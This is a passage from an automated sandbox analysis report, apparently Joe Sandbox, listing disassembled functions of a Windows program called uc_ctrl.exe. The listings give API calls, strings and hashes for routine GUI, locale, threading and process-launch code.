Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: ParentTimer$CursorH_prolog3KillWindow$ClientInvalidateMessageRectScreenSendUpdate
String ID: Control Panel\Desktop$MenuShowDelay
API String ID: 3950007754-702829638
Opcode ID: 5ab64ae367802aeee901807b5f1d484c07b39a247e842f8ab4b1012f7be2148c
Instruction ID: aca2f8419111a672a5631009089168120d666be3020990f480cad697abeebc12
Opcode Fuzzy Hash: 5ab64ae367802aeee901807b5f1d484c07b39a247e842f8ab4b1012f7be2148c
Instruction Fuzzy Hash: B4D1E271A012119FEF059F64CC58BAD77B5BF48318F21016EED25ABB91DB32D941CB90

Function 6CF2A58A Relevance: 24.2, APIs: 16, Instructions: 158windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6CF2A591
CreateCompatibleDC.GDI32(00000000), ref: 6CF2A5BE
GetObjectW.GDI32(?,00000018,?), ref: 6CF2A5D7
SelectObject.GDI32(?,?), ref: 6CF2A5EF
CreateCompatibleBitmap.GDI32(?,0000000F,00000010), ref: 6CF2A61A
SelectObject.GDI32(?,00000000), ref: 6CF2A62B

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Object$CompatibleCreateSelect$BitmapH_prolog3
String ID:
API String ID: 1715795092-0
Opcode ID: cace8ab6e7d329cc672ec9422c1d48a8d17f128b52e2a1241725333aa14ff29b
Instruction ID: 910ad11af00b6d37c01fadb223f3f10337c19c8c1bb65188e6f3f6d443d6f071
Opcode Fuzzy Hash: cace8ab6e7d329cc672ec9422c1d48a8d17f128b52e2a1241725333aa14ff29b
Instruction Fuzzy Hash: E9513831901219EFCF129FE4CD58EEEBBB5FF0A314F200129F915A6650DB358955CBA0

Function 00B32320 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 144COMMON

Download Yara Rule

APIs

?GetString@CLanguageUI@UiLib@@SAPB_WPB_W0@Z.UC_GUILIB(simba_ctrl,title,59AF50C8), ref: 00B3235E
??BCWindowWnd@UiLib@@QBEPAUHWND__@@XZ.UC_GUILIB(00000000,00000000), ref: 00B3237C
SetWindowTextW.USER32(00000000), ref: 00B32383
?FindControl@CPaintManagerUI@UiLib@@QBEPAVCControlUI@2@PB_W@Z.UC_GUILIB(list_user), ref: 00B32391
GetCommandLineW.KERNEL32(?), ref: 00B323A8
CommandLineToArgvW.SHELL32(00000000), ref: 00B323AF
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 00B323C0
_wcslwr_s.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 00B32425

Strings

list_user, xrefs: 00B32389
simba_ctrl, xrefs: 00B32352
UCaaS.exe, xrefs: 00B32440
uc_ctrl.exe, xrefs: 00B32445
title, xrefs: 00B3234D

Memory Dump Source

Source File: 00000010.00000002.4516969046.0000000000B31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000010.00000002.4516767542.0000000000B30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517104426.0000000000B3A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517218141.0000000000B41000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517362025.0000000000B42000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_b30000_uc_ctrl.jbxd

Similarity

API ID: Lib@@$CommandLineWindow$ArgvControlControl@D__@@FindI@2@LanguageManagerPaintString@TextWnd@_wcslwr_sexit
String ID: UCaaS.exe$list_user$simba_ctrl$title$uc_ctrl.exe
API String ID: 1931150860-1413169550
Opcode ID: 237568db7ae9c44f6552bdb13cf4ca50e74946a1e708239fb81ba948a4d98236
Instruction ID: 8f71238f58d00382e7b8faa5aa923f3680828dd643876e16d9b74c54bd90f09d
Opcode Fuzzy Hash: 237568db7ae9c44f6552bdb13cf4ca50e74946a1e708239fb81ba948a4d98236
Instruction Fuzzy Hash: FA51B171A006059FCB04DF68DD49BAEBBF5FF44711F3482A8E9169B2A1DB346901CBA1

Function 6CF0CE6B Relevance: 21.3, APIs: 2, Strings: 10, Instructions: 279windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6CF0CE72

Part of subcall function 6CF0A22E: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000), ref: 6CF0A243

Part of subcall function 6CF546CA: __EH_prolog3.LIBCMT ref: 6CF546D1

Part of subcall function 6CEEA044: __EH_prolog3.LIBCMT ref: 6CEEA0F2

Part of subcall function 6CF54748: __EH_prolog3.LIBCMT ref: 6CF5474F

LoadIconW.USER32(?,00000000), ref: 6CF0D104

Strings

MFCButton_CursorType, xrefs: 6CF0CFF6
MFCButton_ImageID, xrefs: 6CF0D09E
MFCButton_FullTextTool, xrefs: 6CF0CF9F
MFCButton_ImageType, xrefs: 6CF0D047
MFCButton_Autosize, xrefs: 6CF0CF26
MFCButton_Tooltip, xrefs: 6CF0CF6D
TRUE, xrefs: 6CF0CFC1
MFCButton_ImageOnTop, xrefs: 6CF0D142
MFCButton_Style, xrefs: 6CF0CEC1
MFCButton_ImageOnRight, xrefs: 6CF0D164

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$ByteCharIconLoadMultiWide
String ID: MFCButton_Autosize$MFCButton_CursorType$MFCButton_FullTextTool$MFCButton_ImageID$MFCButton_ImageOnRight$MFCButton_ImageOnTop$MFCButton_ImageType$MFCButton_Style$MFCButton_Tooltip$TRUE
API String ID: 3563906663-3825445498
Opcode ID: c9b2ef8eedbee0d09ac19f98401430a42603e464a7d79f421d01e7498434fde4
Instruction ID: cc4637b09183000a34bb147d83488af6207b474acf0c5857585670d4a0661932
Opcode Fuzzy Hash: c9b2ef8eedbee0d09ac19f98401430a42603e464a7d79f421d01e7498434fde4
Instruction Fuzzy Hash: 27A15E71A011099AEB05EFA4CDA4BFEB7BDBF1464CF60401DE425A7A90DF349D09DB21

Function 6D1A0B30 Relevance: 21.3, APIs: 14, Instructions: 259COMMON

Download Yara Rule

APIs

__strncnt.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?), ref: 6D1A0B5E
__strncnt.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?), ref: 6D1A0B74
GetCPInfo.KERNEL32(?,?,?,?,?), ref: 6D1A0BC6
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 6D1A0C4F
__alloca_probe_16.LIBCMT ref: 6D1A0C87
_malloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6D1A0CA5
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 6D1A0CD4
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 6D1A0CEF
__alloca_probe_16.LIBCMT ref: 6D1A0D27
_malloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6D1A0D41
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 6D1A0D68
__crtCompareStringEx.MSVCP140(?,?,00000000,?,00000000,?), ref: 6D1A0D80
_free_base.API-MS-WIN-CRT-HEAP-L1-1-0(-000000F8), ref: 6D1A0D9B
_free_base.API-MS-WIN-CRT-HEAP-L1-1-0(-000000F8), ref: 6D1A0DB5

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: ByteCharMultiWide$__alloca_probe_16__strncnt_free_base_malloc_base$CompareInfoString__crt
String ID:
API String ID: 3184420440-0
Opcode ID: a043154cd48ffdd12d9d44836545c22bb384b2465e561dd1cd2e409d36287922
Instruction ID: 6e357bf02daeeec3bf9108278707420a59d2ece8975e243a49619e5ae4f84dae
Opcode Fuzzy Hash: a043154cd48ffdd12d9d44836545c22bb384b2465e561dd1cd2e409d36287922
Instruction Fuzzy Hash: EB81443AE046169FEF118EA6DD80BFE7BB5EF16314F084269F850E618CD7B49880C790

Function 6D1A0E50 Relevance: 21.2, APIs: 14, Instructions: 214COMMON

Download Yara Rule

APIs

__strncnt.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?), ref: 6D1A0E6E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,?,?), ref: 6D1A0E9A
__alloca_probe_16.LIBCMT ref: 6D1A0ED2
_malloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6D1A0EF3
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?), ref: 6D1A0F2F
__crtLCMapStringEx.MSVCP140(?,?,00000000,?,00000000,00000000), ref: 6D1A0F49
__crtLCMapStringEx.MSVCP140(?,00000400,00000000,00000400,?,?), ref: 6D1A0F85
__alloca_probe_16.LIBCMT ref: 6D1A0FB9
_malloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6D1A0FD3
__crtLCMapStringEx.MSVCP140(?,00000400,?,00000400,00000000,00000000), ref: 6D1A0FFF
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000), ref: 6D1A101A
_free_base.API-MS-WIN-CRT-HEAP-L1-1-0(-000000F8), ref: 6D1A1032
_free_base.API-MS-WIN-CRT-HEAP-L1-1-0(-000000F8), ref: 6D1A1055
_free_base.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6D1A1071

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: ByteCharMultiStringWide__crt_free_base$__alloca_probe_16_malloc_base$__strncnt
String ID:
API String ID: 580233248-0
Opcode ID: 71e29d177aa27154ea1f3ac169b8cbc75ae1ab4cd3865d49411bc0ae9563b7db
Instruction ID: 77e446ab1d8f6aa89a2d0d835333b1018c5868b45a80e70698ffddd94b10a84d
Opcode Fuzzy Hash: 71e29d177aa27154ea1f3ac169b8cbc75ae1ab4cd3865d49411bc0ae9563b7db
Instruction Fuzzy Hash: 92610976A10256EBEF114FE5DD80EAF7BB9EF11760B098229F914D6198D7F4C880C750

Function 00B36970 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 148COMMON

Download Yara Rule

APIs

??0CDialogBuilder@UiLib@@QAE@XZ.UC_GUILIB ref: 00B369D4

Part of subcall function 00B383C4: __onexit.LIBCMT ref: 00B383CA

Part of subcall function 00B38636: EnterCriticalSection.KERNEL32(00B41474,00000000,?,00B365FF,00B417EC,00B39910,00000000), ref: 00B38640
Part of subcall function 00B38636: LeaveCriticalSection.KERNEL32(00B41474,?,00B365FF,00B417EC,00B39910,00000000), ref: 00B38673

?GetMarkup@CDialogBuilder@UiLib@@QAEPAVCMarkup@2@XZ.UC_GUILIB(59AF50C8), ref: 00B369FD
?IsValid@CMarkup@UiLib@@QBE_NXZ.UC_GUILIB ref: 00B36A05
?Create@CDialogBuilder@UiLib@@QAEPAVCControlUI@2@VSTRINGorID@2@PB_WPAVIDialogBuilderCallback@2@PAVCPaintManagerUI@2@PAV32@@Z.UC_GUILIB(?,00000000,00000000,?,00000000), ref: 00B36A2A
?Create@CDialogBuilder@UiLib@@QAEPAVCControlUI@2@PAVIDialogBuilderCallback@2@PAVCPaintManagerUI@2@PAV32@@Z.UC_GUILIB(00000000,?,00000000), ref: 00B36A37
?FindSubControlByName@CPaintManagerUI@UiLib@@QBEPAVCControlUI@2@PAV32@PB_W@Z.UC_GUILIB(00000000,lbl_username), ref: 00B36A75
?FindSubControlByName@CPaintManagerUI@UiLib@@QBEPAVCControlUI@2@PAV32@PB_W@Z.UC_GUILIB(00000000,lbl_userid), ref: 00B36A89
?FindSubControlByName@CPaintManagerUI@UiLib@@QBEPAVCControlUI@2@PAV32@PB_W@Z.UC_GUILIB(00000000,btn_face), ref: 00B36A9D

Part of subcall function 00B38680: EnterCriticalSection.KERNEL32(00B41474,?,00000000,?,00B36580,00B417EC,00B34BBF,59AF50C8,?,?,00000000,00000000,00B39728,000000FF,?,00B32370), ref: 00B3868B
Part of subcall function 00B38680: LeaveCriticalSection.KERNEL32(00B41474,?,00000000,?,00B36580,00B417EC,00B34BBF,59AF50C8,?,?,00000000,00000000,00B39728,000000FF,?,00B32370), ref: 00B386C8

Strings

btn_face, xrefs: 00B36A91
lbl_userid, xrefs: 00B36A7D
(%s), xrefs: 00B36AE0
lbl_username, xrefs: 00B36A6F

Memory Dump Source

Source File: 00000010.00000002.4516969046.0000000000B31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000010.00000002.4516767542.0000000000B30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517104426.0000000000B3A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517218141.0000000000B41000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517362025.0000000000B42000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_b30000_uc_ctrl.jbxd

Similarity

API ID: ControlLib@@$I@2@$Dialog$ManagerPaint$Builder@CriticalSection$FindName@V32@$BuilderCallback@2@Create@EnterLeaveMarkup@V32@@$D@2@Markup@2@Valid@__onexit
String ID: (%s)$btn_face$lbl_userid$lbl_username
API String ID: 1518652592-789505387
Opcode ID: c624d4f78c3286d571b8efcf732c861c688a24d8562f3ef3f85ed5b34a8bcb13
Instruction ID: a08cf59c7bb1ff6ca4b28c5f9b956a3636d2af16e458b4c0ea54f3016d68a230
Opcode Fuzzy Hash: c624d4f78c3286d571b8efcf732c861c688a24d8562f3ef3f85ed5b34a8bcb13
Instruction Fuzzy Hash: DF518371B40605AFC704DF68C849B59B7F8FF45711F3042A9E565972A1DB30AA40CF92

Function 6D1AC3FB Relevance: 19.6, APIs: 13, Instructions: 140threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6D1AC426
GetCurrentThreadId.KERNEL32 ref: 6D1AC442
GetCurrentThreadId.KERNEL32 ref: 6D1AC457
_xtime_get.LIBCPMT(?,00000001,?,?,?,?,?,6D19AA87,?,00000001,?), ref: 6D1AC4A7
GetCurrentThreadId.KERNEL32 ref: 6D1AC4DD
_Xtime_diff_to_millis2.MSVCP140(?,?,?,?,?,?,?,6D19AA87,?,00000001,?), ref: 6D1AC4F4
_xtime_get.LIBCPMT(?,00000001,?,?,?,?,?,6D19AA87,?,00000001,?), ref: 6D1AC516
GetCurrentThreadId.KERNEL32 ref: 6D1AC521
GetCurrentThreadId.KERNEL32 ref: 6D1AC576

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: CurrentThread$_xtime_get$Xtime_diff_to_millis2
String ID:
API String ID: 3943753294-0
Opcode ID: c4db8c4c6f9c25db3b3f6692b209c1a2489352c3f9d303c1a84192754b92df94
Instruction ID: 7f6f25a850c716677e5565d603accbf2474bf576896ac9d09d74798533b58ea1
Opcode Fuzzy Hash: c4db8c4c6f9c25db3b3f6692b209c1a2489352c3f9d303c1a84192754b92df94
Instruction Fuzzy Hash: D351913DA08212CFDB00DF68D480A6AB7F6FF15310B198859F85ACB14AD7B0EC85CB95

Function 6CF14EB6 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 161windowCOMMON

Download Yara Rule

APIs

SetRectEmpty.USER32(?), ref: 6CF14EDD
LoadCursorW.USER32(?,00007904), ref: 6CF14F03
LoadCursorW.USER32(?,00007905), ref: 6CF14F36
SendMessageW.USER32(?,0000120A,00000000,00000006), ref: 6CF14F94
SendMessageW.USER32(?,0000120A,00000001,00000006), ref: 6CF14FC9
SendMessageW.USER32(?,00000401,00000001,00000000), ref: 6CF15022
SendMessageW.USER32(?,00000418,00000000,?), ref: 6CF15050
GetParent.USER32(?), ref: 6CF1508B

Strings

d, xrefs: 6CF14FA3
Property, xrefs: 6CF14F68
Value, xrefs: 6CF14F9C

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: MessageSend$CursorLoad$EmptyParentRect
String ID: Property$Value$d
API String ID: 2284761715-1409410049
Opcode ID: 0cb532690fb0991b82e5bcb988ec16a815580720932e3fe2a4671a232b8b56a4
Instruction ID: e28d3e5044c5fca710ff659408135b1ad791eb3c22de94abe72147edefd51322
Opcode Fuzzy Hash: 0cb532690fb0991b82e5bcb988ec16a815580720932e3fe2a4671a232b8b56a4
Instruction Fuzzy Hash: 5851BD71A00215AFDB15AFA0CD98FEEBBB6FF48714F0501ADE919A7390DB716801CB91

Function 6D1BEF70 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1BEF77
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000020), ref: 6D1BEF86

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1AD96D: __EH_prolog3.LIBCMT ref: 6D1AD974
Part of subcall function 6D1AD96D: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AEA4F,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1AD97F
Part of subcall function 6D1AD96D: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1AD997
Part of subcall function 6D1AD96D: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1AD9FB

std::locale::~locale.LIBCPMT ref: 6D1BEFA2

Part of subcall function 6D1B8AD5: ?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEG_W@Z.MSVCP140(?,?,?,6D1AF03F,?,?,?,?,?,?,?,?,?,00000038), ref: 6D1B8AE5

Strings

Q, xrefs: 6D1BF013
#, xrefs: 6D1BF018
E, xrefs: 6D1BF009
O, xrefs: 6D1BF00E

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$??1_?getloc@ios_base@std@@?sputc@?$basic_streambuf@_Bid@locale@std@@Lockit@std@@U?$char_traits@_Vlocale@2@W@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID: #$E$O$Q
API String ID: 602496783-3590659638
Opcode ID: 6dfdd990011bbf311ccbe5b80525780f57dd50b3bb7082c8e1d723b71f15a071
Instruction ID: 6f99a7c25947935f728dbf582da49466875ed04bfcd6b6210fe1c8447e67eaa9
Opcode Fuzzy Hash: 6dfdd990011bbf311ccbe5b80525780f57dd50b3bb7082c8e1d723b71f15a071
Instruction Fuzzy Hash: 6141B339A0021ADFCF04CF94C850ABE77B2BF58314F054049E95567395DBB9AE41CB61

Function 00B32D40 Relevance: 17.9, APIs: 7, Strings: 3, Instructions: 417processwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B33840: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00B3388C
Part of subcall function 00B33840: Process32FirstW.KERNEL32(00000000,?), ref: 00B338FC

wcsstr.VCRUNTIME140(00000000,00B3AAD0,?,ucapp:,00B3A9B4,00B32478,00B32478,59AF50C8,?,?), ref: 00B32DEB
SendMessageW.USER32(?,0000004A,00000000,00B39503), ref: 00B32FEB
memset.VCRUNTIME140(00000000,00000000,00000400,00000400,login), ref: 00B330D1
??0CListContainerElementUI@UiLib@@QAE@XZ.UC_GUILIB(?,?,?,login), ref: 00B330DC
memset.VCRUNTIME140(?,00000000,00000044,00000000,00000000,00000000), ref: 00B33276
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,00000000,?,?,00000000,00000000,00000000), ref: 00B332AB
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,?,ucapp:,00B3A9B4,00B32478,00B32478,59AF50C8,?,?), ref: 00B332BB

Strings

ucapp:, xrefs: 00B32DBE
login, xrefs: 00B32EEA, 00B32F02
D, xrefs: 00B3327E

Memory Dump Source

Source File: 00000010.00000002.4516969046.0000000000B31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000010.00000002.4516767542.0000000000B30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517104426.0000000000B3A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517218141.0000000000B41000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517362025.0000000000B42000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_b30000_uc_ctrl.jbxd

Similarity

API ID: Creatememset$ContainerElementFirstLib@@ListMessageProcessProcess32SendSnapshotToolhelp32exitwcsstr
String ID: D$login$ucapp:
API String ID: 1691680665-2454728020
Opcode ID: 0a7ec0355441d929ffbeb5cfc8f2ac65bfcce730e90fb47be11df630640e9ac7
Instruction ID: 4fa2b6af6d5edf9d07c6706c7cac82f13629ce0014db28a755037659d9746f32
Opcode Fuzzy Hash: 0a7ec0355441d929ffbeb5cfc8f2ac65bfcce730e90fb47be11df630640e9ac7
Instruction Fuzzy Hash: DE027C71A006159FDB24DF68C945BAEB7F4FF14710F3482E8E499AB291DB30AE44CB90

Function 6CEF8439 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6CEF8443
SendMessageW.USER32(?,00000000,00000000,00000080), ref: 6CEF8489
SendMessageW.USER32(?,00000000,00000000), ref: 6CEF84B5
ValidateRect.USER32(?,00000000), ref: 6CEF84C4

Strings

W, xrefs: 6CEF84F9

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: MessageSend$H_prolog3_RectValidate
String ID: W
API String ID: 3261311288-655174618
Opcode ID: e14663da34a0d40d5e34dc995bf6142d8c8673afb7f9b8387f2afc5b00ab152f
Instruction ID: d8ad18c3f5b6b77bb55f3771c6c06d829fc84b30d651c64a1d453b8812867527
Opcode Fuzzy Hash: e14663da34a0d40d5e34dc995bf6142d8c8673afb7f9b8387f2afc5b00ab152f
Instruction Fuzzy Hash: B941A471901649EFDF219F71CC94AAEBBB5FF49308F20852EE5A692B50DB319906CF10

Function 6CF18CB8 Relevance: 16.7, APIs: 11, Instructions: 243windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6CF18CBF
ClientToScreen.USER32(?,?), ref: 6CF18CF6
GetWindowRect.USER32(?,?), ref: 6CF18D14
PtInRect.USER32(?,?,?), ref: 6CF18D24
IsWindowVisible.USER32(?), ref: 6CF18D34
IsWindowVisible.USER32(?), ref: 6CF18D48
